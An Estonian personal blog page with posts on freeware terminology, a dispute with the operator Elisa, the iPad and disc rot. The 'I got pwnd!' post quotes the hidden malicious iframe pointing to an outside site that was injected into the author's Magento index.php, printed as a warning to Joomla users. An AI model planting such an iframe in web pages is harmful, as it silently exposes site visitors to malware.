pronto.ee

Tomorrow will be cancelled due to lack of interest

Vaba vara?

Ma teen ettepaneku lõpetada sellise sõna nagu vabavara ebasihipärase kasutamise ära. Tegemist on tavaliselt väärtõlkega inglise keelest, kus sõna free tähendab üheaegselt nii “vaba” kui “tasuta”.

Miks ma sellest räägin? Ma räägin seda sellepärast, et sõna kasutus või väärkasutus mõjutab seda kuidas inimene suhtub ühte või teise tootesse. Tasuta tarkvara ehk freeware ei pruugi olla automaatselt avatud lähtekoodiga ega ka “vaba” vara. Näiteks Oracle Express (Oracle Database XE) on tasuta tarkvara, kuna selle eest ei pea sentigi lauale veeretama, ometigi pole see “vaba”, sest Oracle hoiab endale kõik sellega seotud õigused. Teisest küljest võttes ei tohi unustada, et isegi kui tootega antakse kaasa lähtekood, ei pruugi see seda automaatselt “vabaks” teha. Näiteks praktiliselt kogu PHP tasuline tarkvara on avatud lähtekoodiga ja ometigi mitte “vaba”.

Õigupoolest ei nimetaks ma vabaks varaks ka ühtegi GPL litsentsiga tarkvara, sest GPL seab paika päris jõhkrad reeglid kuidas seda tarkvara võib või ei või kasutada. Minu silmis on vabavara vaid public domain tarkvara, mille omaniku ja litsentsitingimusi kas ei ole võimalik tuvastada või on omanik loobunud kõikidest õigustest sellele. Taolist vara võib kasutada kuidas pähe tuleb — laiendada, muuta, müüa (juhul kui ostja leiab), jagada, jne. Kui omanik on teada siis võib talle viidata, aga ka selle jaoks pole mingit kohustust.

Nagu olen ma jõudnud välja punkti, et enamus tarkvara, mida traditsiooniliselt kiputakse Eestis vabavaraks nimetama ei ole teps mitte vaba, vaid hoopis a) avatud lähtekoodiga (open source) ja b) tasuta (freeware).

Elisa, MiNT ja selle riistvara

See lugu räägib sellest, kuidas ma omale mobiilse interneti MiNT Elisast võtsin, miks ma praegusel kujul sellega rahu ei ole ning mida ma kavatsen edasi teha. Sisimas ma tegelikult loodan, et tegemist on lihtsalt ühe suure arusaamatusega ning asi lõppebki nüüd ja praegu, sest eksimine on inimlik ning ka kõige suuremad firmad koosnevad kõigest inimestest. Isegi mina olen inimene.

Lugu sai alguse maikuus, mil mulle helistas telefonimüügineiu ja ütles, et ega ma pole huvitunud omale soodsa mobiilneti soetamisest. Pean tunnistama, et ma olin seda mõtet juba mitu kuud peas veeretanud, ajastus oli sobilik ning mina olin küps. Tol hetkel oli Elisa ka ainus, kes attraktiivseid diile pakkus, seega tehtud mõeldud. Neiu toonitas, et kui sõlmida püsileping pikema aja peale, annab Elisa kaasa selle kasutamiseks netipulga, nii et eraldi väljaminekuid pole vaja teha. Kui selgus, et mul on veebifirma (Eepohs) ning ma sisuliselt elan internetis, siis pakkus ta mulle maksumpaketti Extra Strong. Telefonimüüja jutt tundus veenev (only human!) ning ma lasin tal asja ära vormistada.

Aga võta näpust. Mingil hetkel käis kuller mul kontoris ja ma allkirjastasin dokumendid. Paari päeva pärast tuli teade, et mu SIM kaart on aktiveeritud ning tulgu ma aga Elisa kontorisse asjale järele. Läksin siis Kristiinesse oma kaardile ja lubatud pulgale järele. See oli see hetk, kus toimus esimene sahkermahker. Vormistasime seal dokumendid kenasti ära, andsin allkirjad ja asjad ning kui kõik oli valmis, pistis neiu mulle karbi pulgaga pihku. Kuna mul kohe ei olnud aega sellega tegeleda, avastasin ma esimese ebakõla: Garantiikiri nägi ette, et mu modem on Huawei E1752, samas karbist vaatas vastu A-Link 3G Turbo modem. Point on selles, et kuna ma sain garantiikirja alusel tagastada vaid Huaweid, mida mul ei olnud, oli asju juba iseenesest täbar.

Ma pean siinkohas muidugi märkima, et hiljem saatedokumente uurides oli seal tõepoolest A-Linki pulk kirjas. Samas pisteti see garantiidokument mulle lihtsalt muude asjade vahele ning seda ei lastud mul ei lugeda, ega allkirjastada. Seega selle Huawei jutu avastasin ma alles siis kui ma tuvastasin, et Elisa ei ole mulle andnud päris seda teenust mida müüjanäitsik mulle lubas. Üldiselt tekkis mul kogu selle episoodi käigus tragikoomiline olukord, kus mul lubati modem probleemide korral 7 päeva jooksul ilma leppetrahve tasumata tagastada, aga paraku see mudel, mis lubaduse peal kirjas oli ei vastanud sellele, mis mulle anti. Seega lubati mul tagastada asju, mida mulle kunagi polnud antudki.

Teine ja nüüd juba tõsine probleem tekkis siis kui ma hakkasin uurima oma paketi ja sellega kaasa antud modemi võimalusi. Selgub, et minu paketi maksimkiirus, mille eest ma maksan on 21Mbit/s. Modemi maksikumkiirus aga on 7.2Mbit/s, mis on sobilik pigem 150 krooni odavama Strong paketi jaoks (maksimumkiirus 5Mbit/s). Elisa klienditeenindaja katsus mulle rääkida, et ma saan ikkagi 2.2Mbit/s võitu, seega on kõik aus, kuid mina näen asja pigem kui 13.8Mbit/s kaotust, mis on OLULISELT suurem number. Mitte kusagil dokumentides ei olnud kirjas, et ma saan mulle antud riistvaraga kätte vaid kolmandiku lubatud kiirusest. Tõsi, see oli kirjas modemi manualis, aga ma ei hakanud karpi sealsamas lahti kiskuma ja asja uurima. Õigupoolest avastasin ma selle alles paari nädala pärast kui mul oli mahti selle asjaga tõsisemalt tegeleda.

Nüüd läks asi aga karmiks. Kui ma marssisin Kristiine Elisesse tagasi ja küsisin, et mis värk, siis öeldi mulle (küll pisut leebemas sõnastuses), et ise olin loll, et karbi ilma manuale läbi lugemata vastu võtsin. Lisaks keeldusid nad paketti viletsama — ning selle modemi jaoks sobilikuma — vastu vahetama, viidates leppetrahvile 1000 krooni. Teenindaja sõnul (taaskord pisut leebemas sõnastuses) ongi see Elisa poliitika, et klientidele müüakse asju, mida nad kasutada ei saa, sest kliendid on rumalad ja lasevad ennast petta.

Nüüd läks mul kops juba tõsiselt üle maksa. Ma käisin ja konsulteerisin kahe juristiga ning nende hinnang oli ühene — ükski minu poolt allkirjastatud lepingutest ei ole tegelikult juriidiliselt pädev, samuti vähemalt praegusel kujul kogu tehingut mõista kui tahtliku soovina klienti petta (mulle ei meeldiks seda sellisena näha, seetõttu jätan lahti  võimaluse, et tegu tõepoolest on eksitusega). Nad soovitasid selle protsessiga minna kuni kohtuni välja.

Kuna kohus on siiski pisut äärmuslik vahend otsistasin ma kogu protsessi eskaleerida sammhaavad. Esimese asjana tegin ma Elisasse kõne, kus ma kurtsin neile oma muret. Nad soovitas sisse anda kontoris pretensiooni või saata vastav e-mail aadressile info@elisa.ee . Igaks juhuks tegin ma mõlemat, kusjuures kontoris klienditeenindaja teatas, et paari nädala pärast saadavad nad mulle kirjaliku vastuse (vaesed puud).

Järgmise sammuna kui paar nädalat on läbi ja kas vastust ei tule või lahendust mittepakkuvm on mul plaanis anda asi tarbijakaitsesse. Selle puhuks saan ma pisut tuge eelpoolnimetatud juristidelt, kes lubasid tutvuse poolest abikäe ulatada (eks ma olen ka neid aidanud). Selle sammu eesmärk on mõnes mõttes põhimõtteline ning olla pigem ettevalmistava sammuna järgmise faasi jaoks.

Kolmanda faasina kasutan ma oma vabakutselise ajakirjaniku võimalusi. Ma kirjutan kogu selle protsessi kirjelduse kirjelduse, koos juristide poolse kommentaariga kõikidesse suurematesse lehtedesse arvamusartiklina: EPL, Postimees, Delfi avaldavad selle kindlasti. Lisaks ma arvan, et ka Äripäev on nõus avaldama artikli kliendipettustest. Ja loomulikult Arvutimaailm, millega koos meil on praegusel hetkel plaanis teha mobiilinterneti test septembrinumbrisse. See test tuleb sinna niikuinii, küsimus on pigem selles, et kas ma avaldan seal arvamust operaatori kohta või mitte.

Neljas faas on lihtne. Kohus.

Muide, ma pole rahul ka Elisa sidekvaliteediga. See võib olla selle konkreetse pulga viga, aga ma ei saanud sidet ei Tallinna lähedal Jälgimäel, Kose lähedal Habajal, Põlva lähedal Saarjärvel ega Võrtsjärve ääres. Vähemalt kaks neist kohtadest pidi olema sidega mitte ainult kaetud, vaid lausa andma 3G kvaliteedi. Kõikides kohtades sai asi proovitud õues, parimates levitingimustest.

Aga ma ei tahaks oma probleemi üle tähtsustada. Maksimumpakettidega on alati see, et nende tarbijaskond on väike ja kuigi nad on kapriissed, on nad tavaliselt mõistvad inimesed. Ka mina ei taha asjatult tülitseda ning seega tegin ma Elisale oma probleemi lahendamiseks kolm mõlemat osapoolt rahuldavat pakkumist.

  1. Elisa taandab mul paketi ilma leppetrahvita String paketi peale ning vahetab välja mu pulga sellise vastu, mis annab kas parema levi või lubab lisaantenni kasutada;
  2. Elisa hangib mulle 21Mbit/s lubava modemi ning me vahetame praeguse käkerdise ümber selle vastu. Ma olen vlamis kõikide standardtingimustega, kuid ei ole nõus vahetamisega kaasneva leppetrahviga;
  3. Mina annan neile kogu inventari tagasi ja maksan kõik võlad. Me lõpetame lepingu ning lahkume sõpradena. Mina vimma ei kanna ja loodetavasti ka Elisa mitte;

Vaatame, kuidas see asi laabub. Nagu näha ei ole mul väga suurt usku, et ka teiste operaatorite teenused oluliselt paremad oleksid ning olen täiesti valmis Elisa teenuseid ka jätkuvalt kasutama. Lihtsalt mitte nii, et ma ennast petetuna tunnen.

PS. Pildid toodud Elisa paketid on eelmise “põlvkonna” omad. Hetkel enamustel (võib-olla kõikidel) enam mahupiirangut ei ole.

Mis on Apple iPad?

iPad

iPad

Henrik Roonemaa kirjutas tänases päevalehes, et Apple jooksis oma eile välja hõigatud iPad-iga lati alt läbi. Mina väidan, et latt on vaid sellepärast püsti, et Henrik ootas vale lati juures. Tuues võrdluseks kaks Apple varasemat megahitti: digimuusikamängija ja nutitelefon, siis kumbki ei olnud uus toode ja kumbki ei olnud ka revolutsiooniline. Need on olid hoopis tooted, mis olid õigesti tehtud ja mõeldud tarbijagrupile, mida ei eksisteerinud vaid sellepärast, et sobivat toodet ei eksisteerinud.

iPadiga sihib Apple taaskord gruppi, mida ei eksisteeri vaid sellepärast, et seniajani pole ükski toode oma hinna ja kvaliteedi suhtega suutnud seda luua. Henrik nägi selles väljavenitatud iPodi. Mina väidan, et Henrik eksib.

Mida mina näen selle seadmes? Ma näen selle uue põlvkonna seadmete tekkimist, mis mahuvad kategooriasse “consumer computing”. Sellele on pisut raske leida korraliku maakeelset vastet, seega ma ei hakka praegud nii ad hoc seda ka välja pakkuma, kuid selle visiooni taga on seadmed, mis on pidevalt võrku ühendatud, pidevalt käepärast ja alati sisse lülitatud ning valmis kasutamiseks. See on mõeldud kasutajale, kellel juba on arvuti ja telefon ning see pigem täiendab neid, kui asendab.

Seda iseloomustab mitu asja. Esiteks on seade üsna võimas, samas ei toeta asi multitaskingut — jah, see seade lubab korraga käivitada vaid ühe programmi, aga ta jooksutab seda väga-väga sujuvalt.Tegemist ei ole rõhutatult töövahendiga, vaid just tarbimisseadmega, kuigi huvitaval kombel seab ta ilmselt ohtu Executive Level arvutid.

Teiseks on see alati võrgus: WiFi ja 3G kaart hoolitsevad selle eest, et Internet oleks igal ajahetkel kättesaadav ilma eelnevate käivitamiste ja ootamisteta. Isegi sülearvuti ei vedele kusagil lauanurgal oma järge oodates, selle juurde tuleb minna ja nende portatiivsus on siiski makrotasandi portatiivsus.

Kolmandaks ekraan, mis on palju kiidusõnu pälvinud. iPadi praktikas kasutada saanute sõnul teeb Apple üllitis Kindle elu üsna kibedaks, eriti arvestades sellega, et Cupertino firma on sõlminud kokkulepped viie publitseerijaga. Lisaks trügib see personaalse televisiooni turule, mis koos ettevõtte plaaniga alandada telesarjade episoodi hindu oma iStores ei ole kaugeltki võimatu. Vajaduse korral on seda võimalik ühendada ka teleriga, ning sellisel juhul on tegemist 720p funktsionaalsega meediaboksiga.

Natuke üllatav on kaamera puudumine, sest püsivõrgutus lubaks ju ideaalseid videokõnesi. Samas siiski on see mõistetav, sest kaamera on saadaval lisaseadmena ja hinna optimeerimise huvides on arvatavasti tõepoolest mõttekas jätta vabalt valitavaks omadus pilti ümbritsevast maailmast masinasse tõmmata.

Ausalt öeldes olen ma sellisest vidinast juba aastaid unistanud — teate kui tore on ilma arvuti juurde ronimata Wikipediast asju uurida, diival uudiseid lugeda ning köögis veebist toidufoorumeid sirvida. Minu igapäevases vidinakasutuses tekkis äsja just iPhone ja MacBooki vahele päris suur tühimik, mida ilmselt enne poolt aastat midagi ei täida.

Disc rot

Disc rot

Disc rot

Pakkisin hiljuti ühe kasti lahti, mis sisaldas erinevatel aegadel sinna paigutatud andmeid, põletatuna CD-de ja DVD-de peale. Ma proovisin paari vanemat neist lugeda, aga edu selles valdkonnas oli üsna vahelduv — üle 10 aasta tagasi kirjutatud CD-d ei pruugi sugugi enam loetavad olla. Üks termin, mida sellistel puhkudel kasutatakse on disc rot, ehk kettakõdu.

Seoses sellega tekkiski mul küsimus: kas Mac OS-i jaoks on olemas mingit tarkvara, mis võimaldab selliseid kettaid tuvastada. Ma pean silmas seda, et pistad ketta masinasse, arvuti suristab natuke aega ja ütleb, et sellelt kettalt on lugemisega raskusi. Taoline asi võimaldab mul tuvastada säilivusprobleeme juba algfaasis, teha vajalikust kraamist koopiaid ja mittevajaliku kraami ilma igasuguste südametunnistusepiinadeta prügikasti toimetada.

I got pwnd!

Joomla

Joomla

Kuradi raisakurat! Teate, alalõpmata kirjutatakse õudusjuttu sellest, kuidas üks või teine viirus kurja teeb ja kuidas üks või teine worm kuskil asju vasakule tõstab. Enamasti on need kirjutatud inimeste poolt, kes teavad sellistest asjadest kolmandate inimeste vahendusel ja kelle eesmärk on pakkuda põnevust inimestele, kes jutust aru ei saa. Samad inimesed kirjutavad lehtedesse ka seiklusjutte sellest, kuidas “Arctic Sea”-ga tiibrakette veetakse. Intrigeeriv, aga peaaegu alati ainult teoreetiline lugemine.

Täna siis märkasin, et millegipärast minu mõlemad Magento installatsioonid on käpa maha pannud veateatega, mis viitab justkui oleks programmikood vigane. Viskasin Magento index.php-le pilgu peale ja etskae: faili lõppu on tekkinud iseeneseslikult järgnev rida:

<iframe src="http://google-analyze.org/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Paanika! Kiire otsing näitas, et tegemist on selge pahavaraga, mis kuidagi mu masinasse on pugenud ja seal oma valgustkartvaid tegusi sooritab. Edasine otsing viitas sellele, et suure tõenäosusega on tegemist ka SQL injectionist tingitud rünnakuga. Veelgi edasisem otsing tuvastas masinast mingil iidsel ajal sinna testimiseks üles pandud Joomla installatsiooni, mis osutuski ründevektori alguspunktiks.

Soovitus nüüd kõigile, kes Joomlat kasutavad. Vaadake, ega teil kusagil failides iframe-ga algavat rida ei ole, mida te ei mäleta sinna pannud olevat. See aadress, mis src sees on, võib olla teine, kuid suures plaanis peaks välimus umbes sama olema. Minu puhul jäi see muudatus vahele ainult Magento eripärade tõttu, enamustel jääkski see ilmselt kahe silma vahele. Joomla on meil üsna levinud tarkvara ja ma ei usu mitte, et igaüks viitsib oma installatsioone regulaarselt uuendada.

Update early, update often!

Pages:123